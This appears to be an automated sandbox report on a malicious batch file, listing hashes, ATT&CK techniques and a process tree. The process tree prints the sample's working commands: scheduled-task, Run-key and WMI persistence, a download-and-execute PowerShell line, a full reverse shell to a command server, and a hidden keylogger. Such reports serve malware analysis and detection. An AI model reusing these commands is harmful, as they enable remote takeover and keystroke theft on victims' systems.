53bea64df937e3e9fc10f742a928764e448583e28bc65f1ae89ef489251edbb7

Analysis

max time kernel
149s
max time network
100s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 22:13

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General

Target
rat_build_78048_014247.bat
Size 4KB
Sample260529-144dbsht5t
SHA256 53bea64df937e3e9fc10f742a928764e448583e28bc65f1ae89ef489251edbb7
MD5 cd10003f170faf243c8dc97ef44e8cbe
SHA1 275ccb67766dc50c8bd1d5fc1a6d9b6367dabbe4
SHA512 c9130041a60f8d69ebbcd7decc06885e171d2b1a55b61362fe3dfc77d373446709c3638e03d283713fd5d5df8974f678a1ac012f28143d795d1a6e8867e3a893
SSDEEP 96:WIIlWOAeixrwoQTX1Y+CvhOie4UpZcUXf6jx/gV9piFgZk8mvlo1bw:WsOAekwk+Sh/x/8iFgkHlCw
TLSH
T10FB1F8236B9BA16485F01A1CDD313888576CE6FB1381DECDEB49CEC1068DE039529AE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_78048.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5928	powershell.exe
3480	powershell.exe
5824	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2746394149-3500112804-1243524366-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_78048 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_78048.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4724	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4060	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3340	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5232	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5928	powershell.exe
5928	powershell.exe
3480	powershell.exe
3480	powershell.exe
5824	powershell.exe
5824	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4172	WMIC.exe
Token: SeSecurityPrivilege	4172	WMIC.exe
Token: SeTakeOwnershipPrivilege	4172	WMIC.exe
Token: SeLoadDriverPrivilege	4172	WMIC.exe
Token: SeSystemProfilePrivilege	4172	WMIC.exe
Token: SeSystemtimePrivilege	4172	WMIC.exe
Token: SeProfSingleProcessPrivilege	4172	WMIC.exe
Token: SeIncBasePriorityPrivilege	4172	WMIC.exe
Token: SeCreatePagefilePrivilege	4172	WMIC.exe
Token: SeBackupPrivilege	4172	WMIC.exe
Token: SeRestorePrivilege	4172	WMIC.exe
Token: SeShutdownPrivilege	4172	WMIC.exe
Token: SeDebugPrivilege	4172	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4172	WMIC.exe
Token: SeRemoteShutdownPrivilege	4172	WMIC.exe
Token: SeUndockPrivilege	4172	WMIC.exe
Token: SeManageVolumePrivilege	4172	WMIC.exe
Token: 33	4172	WMIC.exe
Token: 34	4172	WMIC.exe
Token: 35	4172	WMIC.exe
Token: 36	4172	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4172	WMIC.exe
Token: SeSecurityPrivilege	4172	WMIC.exe
Token: SeTakeOwnershipPrivilege	4172	WMIC.exe
Token: SeLoadDriverPrivilege	4172	WMIC.exe
Token: SeSystemProfilePrivilege	4172	WMIC.exe
Token: SeSystemtimePrivilege	4172	WMIC.exe
Token: SeProfSingleProcessPrivilege	4172	WMIC.exe
Token: SeIncBasePriorityPrivilege	4172	WMIC.exe
Token: SeCreatePagefilePrivilege	4172	WMIC.exe
Token: SeBackupPrivilege	4172	WMIC.exe
Token: SeRestorePrivilege	4172	WMIC.exe
Token: SeShutdownPrivilege	4172	WMIC.exe
Token: SeDebugPrivilege	4172	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4172	WMIC.exe
Token: SeRemoteShutdownPrivilege	4172	WMIC.exe
Token: SeUndockPrivilege	4172	WMIC.exe
Token: SeManageVolumePrivilege	4172	WMIC.exe
Token: 33	4172	WMIC.exe
Token: 34	4172	WMIC.exe
Token: 35	4172	WMIC.exe
Token: 36	4172	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4444	WMIC.exe
Token: SeSecurityPrivilege	4444	WMIC.exe
Token: SeTakeOwnershipPrivilege	4444	WMIC.exe
Token: SeLoadDriverPrivilege	4444	WMIC.exe
Token: SeSystemProfilePrivilege	4444	WMIC.exe
Token: SeSystemtimePrivilege	4444	WMIC.exe
Token: SeProfSingleProcessPrivilege	4444	WMIC.exe
Token: SeIncBasePriorityPrivilege	4444	WMIC.exe
Token: SeCreatePagefilePrivilege	4444	WMIC.exe
Token: SeBackupPrivilege	4444	WMIC.exe
Token: SeRestorePrivilege	4444	WMIC.exe
Token: SeShutdownPrivilege	4444	WMIC.exe
Token: SeDebugPrivilege	4444	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4444	WMIC.exe
Token: SeRemoteShutdownPrivilege	4444	WMIC.exe
Token: SeUndockPrivilege	4444	WMIC.exe
Token: SeManageVolumePrivilege	4444	WMIC.exe
Token: 33	4444	WMIC.exe
Token: 34	4444	WMIC.exe
Token: 35	4444	WMIC.exe
Token: 36	4444	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4444	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 5232	2488	cmd.exe	81
PID 2488 wrote to memory of 3340	2488	cmd.exe	82
PID 2488 wrote to memory of 4172	2488	cmd.exe	83
PID 2488 wrote to memory of 4444	2488	cmd.exe	84
PID 2488 wrote to memory of 3520	2488	cmd.exe	85
PID 2488 wrote to memory of 4060	2488	cmd.exe	87
PID 2488 wrote to memory of 4724	2488	cmd.exe	90
PID 2488 wrote to memory of 5928	2488	cmd.exe	91
PID 2488 wrote to memory of 3480	2488	cmd.exe	92
PID 2488 wrote to memory of 5824	2488	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_78048_014247.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_78048" /tr "C:\Users\Admin\AppData\Local\Temp\_78048.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5232
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_78048" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_78048.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3340
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_78048", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4172
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_78048", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_78048.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4444
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_78048.txt
  2⤵
  PID:3520
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4060
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_78048.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3e9dfdec2a1c817075bdfd2a8050630c7f8404f82e84a4374e80f124e102d49d
MD5 7a9772bc4c578c1736aa04a056f68da3
SHA1 7bb32e69db056bc9ab222ef4ef45de588b2a8efd
SHA512 2d4516747b14356725004ec2c227f56d3e2eae475d58e3fdd5b2b3dbef7382def984eb89584f11359a08d5b8ac3dc5a83fff1d9829a775ebbbcc97315265dd97
TLSH
T190115333B79CC135C8A9117A1089AD01B2B5C3CB04AEDE8B6A84C508E57F98ADBA41E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1c422bd49a479220da7c077b7357a680b8179f8a92fe1e8ee240f0bcb3c915a3
MD5 7986090325e6238e27c4af3c593d5fe4
SHA1 be7517ecb0d8cdf8d11840e90e18ac23d5a42c3f
SHA512 661613bbbdb53c4b400a3027194f4f377314e43ca2a5169d51d062361c1c4f9b0904adc3fdfb1116cdebbb9617e174bfb5d63cc4453a5220a5c61c56ee869966
TLSH
T1F8117A33B79CC134C899117A10CDAE01B2B4C3DB44AEDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_zrqlg1an.fzk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zrqlg1an.fzk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/5928-5-0x000001A1B4FB0000-0x000001A1B4FD2000-memory.dmp

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